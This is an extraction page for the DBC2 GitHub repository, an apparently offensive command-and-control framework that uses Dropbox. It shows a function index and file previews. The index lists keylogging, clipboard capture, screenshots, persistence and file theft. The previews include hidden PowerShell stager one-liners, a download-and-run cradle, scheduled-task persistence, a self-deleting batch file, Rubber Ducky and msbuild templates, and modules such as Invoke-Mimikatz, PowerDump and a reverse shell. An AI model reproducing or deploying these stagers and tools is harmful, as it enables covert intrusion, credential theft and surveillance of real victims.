    method Start (line 50) | public static void Start()
    method Stop (line 66) | public static void Stop()
    method PollKeys (line 72) | private static void PollKeys()
  class ClipboardLogger (line 103) | public static class ClipboardLogger
    method Start (line 112) | public static void Start()
    method Stop (line 127) | public static void Stop()
    method PollClipboard (line 133) | private static void PollClipboard()
  class KeyStrokes (line 156) | public static class KeyStrokes
    method sendKeyStrokes (line 161) | public static bool sendKeyStrokes(Process p, string keyStrokes)
  class Screenshot (line 189) | public static class Screenshot
    method takeScreenShot (line 194) | public static byte[] takeScreenShot()

FILE: dbc2Loader/dbc2Loader.cs
  class dbc2Loader (line 35) | [ComVisible(true)]
    method dbc2Loader (line 41) | public dbc2Loader()
    method xor (line 49) | private static byte[] xor(byte[] source, string key)
    method Main (line 63) | public static void Main(string[] args)
    method entryPoint (line 75) | public static int entryPoint(string arg)
    method loadDBC2 (line 85) | public void loadDBC2(string url, string xorKey, string accessToken, st...

FILE: dbc2Loader/nativeWrapper/dbc2LoaderWrapperCLR.cpp
  function createDotNetFourHost (line 82) | bool createDotNetFourHost(HMODULE* hMscoree, const wchar_t* version, ICo...
  function HRESULT (line 154) | HRESULT createDotNetTwoHost(HMODULE* hMscoree, const wchar_t* version, I...
  function HRESULT (line 181) | HRESULT createHost(const wchar_t* version, ICorRuntimeHost** ppCorRuntim...
  function Dbc2Loader (line 202) | __declspec(dllexport) int Dbc2Loader(wchar_t* argument)
  function InvokeMethod (line 300) | void InvokeMethod(_TypePtr spType, wchar_t* method, wchar_t* command)
  function BOOL (line 342) | BOOL APIENTRY DllMain( HMODULE hModule,

FILE: lib/agentHandler.py
  class AgentHandler (line 11) | class AgentHandler:
    method __init__ (line 16) | def __init__(self, dropboxHandler, statusHandler):
    method taskAgentWithCLI (line 22) | def taskAgentWithCLI(self, cmd):
    method taskAgentWithShell (line 38) | def taskAgentWithShell(self, cmd):
    method taskAgentWithRunPSModule (line 49) | def taskAgentWithRunPSModule(self, moduleName, moduleArgs=None, intera...
    method taskAgentWithLaunchProcess (line 85) | def taskAgentWithLaunchProcess(self, exePath, parameters):
    method taskAgentWithSendFile (line 101) | def taskAgentWithSendFile(self, localFile, destinationPath):
    method taskAgentWithGetFile (line 135) | def taskAgentWithGetFile(self, agentLocalFile):
    method taskAgentWithSleep (line 152) | def taskAgentWithSleep(self, sleepAmount):
    method taskAgentWithNewPolling (line 168) | def taskAgentWithNewPolling(self, period, deviation):
    method taskAgentWithScreenshot (line 184) | def taskAgentWithScreenshot(self):
    method taskAgentWithKeylogger (line 200) | def taskAgentWithKeylogger(self, action):
    method taskAgentWithClipboardLogger (line 216) | def taskAgentWithClipboardLogger(self, action):
    method taskAgentWithSendKeystrokes (line 233) | def taskAgentWithSendKeystrokes(self, procName, keyStrokes):
    method taskAgentWithPersist (line 249) | def taskAgentWithPersist(self):
    method taskAgentWithStop (line 265) | def taskAgentWithStop(self):

FILE: lib/console.py
  class MainMenu (line 25) | class MainMenu(cmd.Cmd):
    method __init__ (line 28) | def __init__(self, mainHandler, agentHandler, statusHandler):
    method do_shell (line 36) | def do_shell(self, args):
    method do_list (line 41) | def do_list(self, args):
    method do_listPublishedStage (line 46) | def do_listPublishedStage(self, args):
    method do_listPublishedModules (line 51) | def do_listPublishedModules(self, args):
    method do_use (line 56) | def do_use(self, args):
    method complete_use (line 79) | def complete_use(self, text, line, startidx, endidx):
    method do_publishStage (line 83) | def do_publishStage(self, args):
    method complete_publishStage (line 103) | def complete_publishStage(self, text, line, startidx, endidx):
    method do_deletePublishedStage (line 108) | def do_deletePublishedStage(self, args):
    method complete_deletePublishedStage (line 127) | def complete_deletePublishedStage(self, text, line, startidx, endidx):
    method do_publishModule (line 131) | def do_publishModule(self, args):
    method complete_publishModule (line 151) | def complete_publishModule(self, text, line, startidx, endidx):
    method do_deletePublishedModule (line 156) | def do_deletePublishedModule(self, args):
    method complete_deletePublishedModule (line 175) | def complete_deletePublishedModule(self, text, line, startidx, endidx):
    method do_genStager (line 179) | def do_genStager(self, args):
    method complete_genStager (line 206) | def complete_genStager(self, text, line, startidx, endidx):
    method do_genStager2 (line 220) | def do_genStager2(self, args):
    method complete_genStager2 (line 242) | def complete_genStager2(self, text, line, startidx, endidx):
    method do_taskList (line 246) | def do_taskList(self, args):
    method do_exit (line 251) | def do_exit(self, args):
    method do_help (line 257) | def do_help(self, args):
    method emptyline (line 262) | def emptyline(self):
    method default (line 266) | def default(self, line):
  class AgentMenu (line 272) | class AgentMenu(cmd.Cmd):
    method __init__ (line 275) | def __init__(self, agentHandler, statusHandler):
    method do_back (line 282) | def do_back(self, args):
    method do_use (line 287) | def do_use(self, args):
    method complete_use (line 309) | def complete_use(self, text, line, startidx, endidx):
    method do_list (line 313) | def do_list(self, args):
    method do_taskList (line 318) | def do_taskList(self, args):
    method do_cmd (line 323) | def do_cmd(self, args):
    method do_shell (line 335) | def do_shell(self, args):
    method do_launchProcess (line 361) | def do_launchProcess(self, args):
    method do_runPSModule (line 386) | def do_runPSModule(self, args):
    method complete_runPSModule (line 425) | def complete_runPSModule(self, text, line, startidx, endidx):
    method do_sleep (line 429) | def do_sleep(self, args):
    method do_polling (line 457) | def do_polling(self, args):
    method do_sendFile (line 492) | def do_sendFile(self, args):
    method complete_sendFile (line 525) | def complete_sendFile(self, text, line, startidx, endidx):
    method do_getFile (line 536) | def do_getFile(self, args):
    method do_screenshot (line 560) | def do_screenshot(self, args):
    method do_keylogger (line 570) | def do_keylogger(self, args):
    method complete_keylogger (line 590) | def complete_keylogger(self, text, line, startidx, endidx):
    method do_clipboardLogger (line 594) | def do_clipboardLogger(self, args):
    method complete_clipboardLogger (line 614) | def complete_clipboardLogger(self, text, line, startidx, endidx):
    method do_sendKeystrokes (line 618) | def do_sendKeystrokes(self, args):
    method do_stop (line 642) | def do_stop(self, args):
    method do_persist (line 654) | def do_persist(self, args):
    method complete_persist (line 666) | def complete_persist(self, text, line, startidx, endidx):
    method do_exit (line 670) | def do_exit(self, args):
    method do_help (line 676) | def do_help(self, args):
    method emptyline (line 681) | def emptyline(self):

FILE: lib/crypto.py
  class Crypto (line 10) | class Crypto(object):
  function createKey (line 14) | def createKey(cls, outputFormat = "raw"):
  function encryptData (line 22) | def encryptData(cls, clearText, key):
  function decryptData (line 41) | def decryptData(cls, cipherText, key):
  function xor (line 52) | def xor(cls, data, key):
  function convertKey (line 61) | def convertKey(cls, key, outputFormat = "raw"):
  function pad (line 72) | def pad(cls, s):
  function unpad (line 78) | def unpad(cls, s):

FILE: lib/dropboxHandler.py
  class DropboxHandler (line 8) | class DropboxHandler:
    method __init__ (line 13) | def __init__(self, token):
    method sendRequest (line 27) | def sendRequest(self, url, headers, data = None, resultFormat = "text"):
    method deleteFile (line 55) | def deleteFile(self, path):
    method listFolder (line 66) | def listFolder(self, path, resultFormat = "json"):
    method readFile (line 77) | def readFile(self, path, resultFormat = "text"):
    method putFile (line 86) | def putFile(self, path, data):
    method getMetaData (line 96) | def getMetaData(self, path):
    method shareFile (line 108) | def shareFile(self, path):
    method getSharedLink (line 120) | def getSharedLink(self, path):

FILE: lib/helpers.py
  function printAgentList (line 15) | def printAgentList(agentList):
  function printStageList (line 31) | def printStageList(stageList):
  function printModuleList (line 45) | def printModuleList(moduleList):
  function printPendingTaskList (line 60) | def printPendingTaskList(pendingTaskList, agentID = 0):
  function b64encode (line 82) | def b64encode(data):
  function b64decode (line 85) | def b64decode(data):
  function randomString (line 89) | def randomString(length = -1, charset = string.ascii_letters):
  function randomInt (line 101) | def randomInt(minimum, maximum):
  function chunks (line 109) | def chunks(s, n):
  function stringIsInt (line 118) | def stringIsInt(s):
  function powershellEncode (line 126) | def powershellEncode(rawData):
  function convertFromTemplate (line 134) | def convertFromTemplate(parameters, templateFile):
  function retrieveQuotedArgs (line 146) | def retrieveQuotedArgs(args, maxNbArgs):
  function color (line 163) | def color(string, color=None):
  function printBanner (line 199) | def printBanner():

FILE: lib/mainHandler.py
  class MainHandler (line 10) | class MainHandler:
    method __init__ (line 15) | def __init__(self, dropboxHandler, statusHandler):
    method publishStage (line 20) | def publishStage(self, stageLocalPath, stageName):
    method deletePublishedStage (line 60) | def deletePublishedStage(self, stageName):
    method publishModule (line 70) | def publishModule(self, moduleLocalPath, moduleName):
    method deletePublishedModule (line 110) | def deletePublishedModule(self, moduleName):
    method genStager (line 121) | def genStager(self, stagerType, stageName):
    method genStager2 (line 158) | def genStager2(self, stagerType, arguments):

FILE: lib/pollingThread.py
  class PollingThread (line 12) | class PollingThread:
    method __init__ (line 17) | def __init__(self, dropboxHandler, statusHandler):
    method stopPollingThread (line 24) | def stopPollingThread(self):
    method treatTaskResult (line 28) | def treatTaskResult(self, task, taskResultFilePath):
    method treatPushedData (line 131) | def treatPushedData(self, pushedDataFilePath):
    method doPoll (line 145) | def doPoll(self):

FILE: lib/stagers.py
  class GenStager (line 8) | class GenStager:
    method oneLiner (line 12) | def oneLiner(cls, stagerParameters):
    method batch (line 27) | def batch(cls, stagerParameters):
    method batch2 (line 46) | def batch2(cls, stagerParameters):
    method macro (line 65) | def macro(cls, stagerParameters):
    method ducky (line 168) | def ducky(cls, stagerParameters):
    method javascript (line 188) | def javascript(cls, stagerParameters):
    method javascript2 (line 208) | def javascript2(cls, stagerParameters):
    method msbuild (line 225) | def msbuild(cls, stagerParameters):
    method sct (line 242) | def sct(cls, stagerParameters):
    method macro_sct (line 263) | def macro_sct(cls, sctUrl):

FILE: lib/statusHandler.py
  class StatusHandler (line 8) | class StatusHandler:
    method __init__ (line 13) | def __init__(self, masterKey):
    method createTask (line 22) | def createTask(self, agentID, cmd, args = []):
    method commitTask (line 34) | def commitTask(self, task):
    method removeTask (line 40) | def removeTask(self, task):
    method createAgent (line 45) | def createAgent(self, agentID, agentLastBeacon, agentStatusFile):
    method agentIsKnown (line 56) | def agentIsKnown(self, agentID):
    method agentIsAlive (line 60) | def agentIsAlive(self, agentID):
    method agentIsSleeping (line 64) | def agentIsSleeping(self, agentID):
    method agentIsNew (line 68) | def agentIsNew(self, agentID):
    method agentIsDead (line 72) | def agentIsDead(self, agentID):
    method getAgentAttribute (line 76) | def getAgentAttribute(self, agentID, attribute):
    method getAgentWakeUpTimeUTC (line 80) | def getAgentWakeUpTimeUTC(self, agentID):
    method setAgentAttribute (line 84) | def setAgentAttribute(self, agentID, attribute, value):
    method agentCanBeTasked (line 89) | def agentCanBeTasked(self, agentID):
    method addStage (line 93) | def addStage(self, stageName, stageLink):
    method removeStage (line 97) | def removeStage(self, stageName):
    method isValidStage (line 101) | def isValidStage(self, stageName):
    method addModule (line 105) | def addModule(self, moduleName, moduleLink):
    method removeModule (line 109) | def removeModule(self, moduleName):
    method isValidModule (line 113) | def isValidModule(self, moduleName):
Condensed preview — 46 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (3,387K chars).
[
  {
    "path": ".gitignore",
    "chars": 44,
    "preview": "/temp\n/incoming\n*.pyc\nmyconfig.py\nconfig.py\n"
  },
  {
    "path": "agent/source/crypto.cs",
    "chars": 4222,
    "preview": "/*\nAuthor: Arno0x0x, Twitter: @Arno0x0x\n*/\nusing System;\nusing System.IO;\nusing System.Security.Cryptography;\n\nnamespace"
  },
  {
    "path": "agent/source/dbc2_agent.cs",
    "chars": 38028,
    "preview": "/*\r\nAuthor: Arno0x0x, Twitter: @Arno0x0x\r\n\r\n================================ Compile as an EXE for x64 platform ======="
  },
  {
    "path": "agent/source/dropboxHandler.cs",
    "chars": 9510,
    "preview": "/*\nAuthor: Arno0x0x, Twitter: @Arno0x0x\n*/\nusing System;\nusing System.Net;\nusing System.Text;\nusing System.Collections;\n"
  },
  {
    "path": "agent/source/misc.cs",
    "chars": 8516,
    "preview": "/*\nAuthor: Arno0x0x, Twitter: @Arno0x0x\n*/\nusing System;\nusing System.IO;\nusing System.Diagnostics;\nusing System.Threadi"
  },
  {
    "path": "dbc2Loader/dbc2Loader.cs",
    "chars": 5197,
    "preview": "/*\r\nAuthor: Arno0x0x, Twitter: @Arno0x0x\r\n\r\nWhat this program does:\r\n-----------------------\r\nThis assembly loads the DB"
  },
  {
    "path": "dbc2Loader/nativeWrapper/ConvertTo-Shellcode.ps1",
    "chars": 33974,
    "preview": "$Source = @\"\nusing System;\nusing System.Collections.Generic;\nusing System.Runtime.InteropServices;\nusing System.Reflect"
  },
  {
    "path": "dbc2Loader/nativeWrapper/dbc2LoaderWrapperCLR.cpp",
    "chars": 10093,
    "preview": "/*\r\nAuthor: Arno0x0x, Twitter: @Arno0x0x\r\n\r\n=============================== HOW TO COMPILE ============================="
  },
  {
    "path": "dbc2Loader/nativeWrapper/dbc2LoaderWrapperCLR.h",
    "chars": 18860,
    "preview": "#ifndef NATIVEDLLHOSTCLRDLL_H_\r\n#define NATIVEDLLHOSTCLRDLL_H_\r\n\r\n// extern \"C\" required to  avoid name mangling by C++ "
  },
  {
    "path": "dbc2Loader/nativeWrapper/readme.md",
    "chars": 2874,
    "preview": "nativeWrapper\n============\n**dbc2LoaderWrapperCLR** is a unamanaged DLL that loads the .Net CLR in memory at runtime, th"
  },
  {
    "path": "dbc2Loader/readme.md",
    "chars": 1121,
    "preview": "dbc2Loader\n============\n**dbc2Loader** is a small .Net assembly that acts as a lightweight and simple wrapper for the DB"
  },
  {
    "path": "dropboxC2.py",
    "chars": 4749,
    "preview": "#!/usr/bin/python\n# -*- coding: utf8 -*-\n#\n# Author: Arno0x0x - https://twitter.com/Arno0x0x\n#\n# This tool is distribute"
  },
  {
    "path": "lib/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "lib/agentHandler.py",
    "chars": 14329,
    "preview": "# -*- coding: utf8 -*-\nimport config as cfg\nfrom lib import helpers\nfrom lib import stagers\nfrom lib.crypto import Crypt"
  },
  {
    "path": "lib/console.py",
    "chars": 28907,
    "preview": "# -*- coding: utf8 -*-\nimport config as cfg\nfrom lib import helpers\nimport readline\nimport cmd\nimport os.path\nfrom sys i"
  },
  {
    "path": "lib/crypto.py",
    "chars": 2719,
    "preview": "# -*- coding: utf8 -*-\nfrom Crypto.Cipher import AES\nfrom Crypto.Hash import SHA256\nfrom os import urandom\nimport base64"
  },
  {
    "path": "lib/dropboxHandler.py",
    "chars": 4539,
    "preview": "# -*- coding: utf8 -*-\nimport requests\nfrom lib import helpers\n\n#*******************************************************"
  },
  {
    "path": "lib/helpers.py",
    "chars": 6551,
    "preview": "# -*- coding: utf8 -*-\n\"\"\"\n\nMiscelaneous helper functions used in DropboxC2\n\n\"\"\"\nimport string\nimport base64\nimport shle"
  },
  {
    "path": "lib/mainHandler.py",
    "chars": 6872,
    "preview": "# -*- coding: utf8 -*-\nimport config as cfg\nfrom lib import helpers\nfrom lib import stagers\nfrom lib.crypto import Crypt"
  },
  {
    "path": "lib/pollingThread.py",
    "chars": 13375,
    "preview": "# -*- coding: utf8 -*-\nimport config as cfg\nfrom lib import helpers\nfrom lib.crypto import Crypto\nimport threading\nimpor"
  },
  {
    "path": "lib/stagers.py",
    "chars": 14405,
    "preview": "# -*- coding: utf8 -*-\nimport config as cfg\nfrom lib import helpers\n\n#**************************************************"
  },
  {
    "path": "lib/statusHandler.py",
    "chars": 4986,
    "preview": "# -*- coding: utf8 -*-\nimport config as cfg\nfrom datetime import *\n\n#***************************************************"
  },
  {
    "path": "modules/Fun.ps1",
    "chars": 97,
    "preview": "function Say ([string] $sentence)\n{\n\t(New-Object -com SAPI.SpVoice).Speak($sentence) | Out-Null\n}"
  },
  {
    "path": "modules/Invoke-Mimikatz.ps1",
    "chars": 1310895,
    "preview": "function Invoke-Mimikatz\n{\n<#\n.SYNOPSIS\n\nThis script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflecti"
  },
  {
    "path": "modules/Invoke-NTLMAuth.ps1",
    "chars": 962,
    "preview": "function Invoke-NTLMAuth\n{\n  <#\n  .SYNOPSIS\n    Triggers Internet Explorer to send NTLM authentication to a specified UR"
  },
  {
    "path": "modules/Invoke-PowerDump.ps1",
    "chars": 21735,
    "preview": "# Pulled from darkoperator's Posh-SecMod: \n#   https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/"
  },
  {
    "path": "modules/Invoke-ReflectivePEInjection.ps1",
    "chars": 155778,
    "preview": "function Invoke-ReflectivePEInjection\n{\n<#\n.SYNOPSIS\n\nThis script has two modes. It can reflectively load a DLL/EXE in t"
  },
  {
    "path": "modules/Invoke-SendReverseShell.ps1",
    "chars": 10955,
    "preview": "function Invoke-SendReverseShell\n{\n\t<#\n\t.SYNOPSIS\n\tSends a reverse shell (cmd.exe) to a remote host.\n    The remote host"
  },
  {
    "path": "modules/MailRaider.ps1",
    "chars": 34734,
    "preview": "#requires -version 2\n\n<#\n\n\nMailRaider v0.1\n\nby @xorrior\n\n#>\n\nfunction Invoke-SendMail {\n    <#\n    .SYNOPSIS\n    This fu"
  },
  {
    "path": "modules/PowerView.ps1",
    "chars": 448187,
    "preview": "#requires -version 2\n\n<#\n\n    PowerSploit File: PowerView.ps1\n    Author: Will Schroeder (@harmj0y)\n    License: BSD 3-C"
  },
  {
    "path": "modules/Powercat.ps1",
    "chars": 37389,
    "preview": "function powercat\n{\n  param(\n    [alias(\"Client\")][string]$c=\"\",\n    [alias(\"Listen\")][switch]$l=$False,\n    [alias(\"Por"
  },
  {
    "path": "modules/dnscat2.ps1",
    "chars": 1052461,
    "preview": "$EncodedCompressedFile = @'\n7L0HlBRV1jheXdXT3dM9MzAwdE8gDLmZ7gGGASSDCAiSQTIiKChgaOwGA+OMuGtEwZwz5rhixLgYdo0oZkXErGsO6xow"
  },
  {
    "path": "readme.md",
    "chars": 6961,
    "preview": "DBC2\n============\nLAST/CURRENT VERSION: 0.2.6\n\nAuthor: Arno0x0x - [@Arno0x0x](http://twitter.com/Arno0x0x)\n\nDBC2 (Dropbo"
  },
  {
    "path": "requirements.txt",
    "chars": 41,
    "preview": "requests>=2.11\ntabulate\npycrypto\npyscrypt"
  },
  {
    "path": "templates/batch.tpl",
    "chars": 56,
    "preview": "@echo off\nstart /b ${oneliner}\n(goto) 2>nul & del \"%~f0\""
  },
  {
    "path": "templates/dbc2Loader.tpl",
    "chars": 9678,
    "preview": "function setversion() {\r\nvar shell = new ActiveXObject('WScript.Shell');\r\nver = 'v4.0.30319';\r\ntry {\r\nshell.RegRead('HKL"
  },
  {
    "path": "templates/ducky.tpl",
    "chars": 78,
    "preview": "DELAY 3000\nGUI r\nDELAY 1000\nSTRING cmd\nENTER\nDELAY 2000\nSTRING $oneliner\nENTER"
  },
  {
    "path": "templates/javascript.tpl",
    "chars": 86,
    "preview": "oneliner = '${oneliner}';\nr = new ActiveXObject(\"WScript.Shell\").Run(oneliner,0,true);"
  },
  {
    "path": "templates/msbuild.tpl",
    "chars": 1470,
    "preview": "<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <!-- This inline task execute"
  },
  {
    "path": "templates/oneliner.tpl",
    "chars": 56,
    "preview": "powershell.exe -NoP -sta -NonI -W Hidden -Enc ${payload}"
  },
  {
    "path": "templates/oneliner2.tpl",
    "chars": 558,
    "preview": "powershell.exe -NoP -sta -NonI -W Hidden -Command \"& {$$wc=New-Object Net.WebClient;$$wc.Headers.Add('User-Agent','Mozil"
  },
  {
    "path": "templates/persist.tpl",
    "chars": 327,
    "preview": "powershell.exe -NoP -sta -NonI -W Hidden -Command \"$$Action = New-ScheduledTaskAction -Execute '${oneliner}'; $$Trigger "
  },
  {
    "path": "templates/posh.tpl",
    "chars": 519,
    "preview": "$$wc=New-Object System.Net.WebClient;$$wc.Headers.Add(\"User-Agent\",\"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:49.0) Ge"
  },
  {
    "path": "templates/posh.tpl.old",
    "chars": 871,
    "preview": "$$S = @\"\nusing System;\nusing System.Net;\nusing System.Reflection;\nnamespace n {\npublic static class c {\npublic static vo"
  },
  {
    "path": "templates/runPSModule.tpl",
    "chars": 341,
    "preview": "$$wc=New-Object System.Net.WebClient;$$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$$wc.Proxy.Credentials=[System."
  },
  {
    "path": "templates/sct.tpl",
    "chars": 288,
    "preview": "<?XML version=\"1.0\"?>\r\n<scriptlet>\r\n<registration \r\n    progid=\"PoC\"\r\n    classid=\"{F0001111-0000-0000-0000-0000FEEDACDC"
  }
]

About this extraction

This page contains the full source code of the Arno0x/DBC2 GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 46 files (3.2 MB), approximately 834.1k tokens, and a symbol index with 200 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!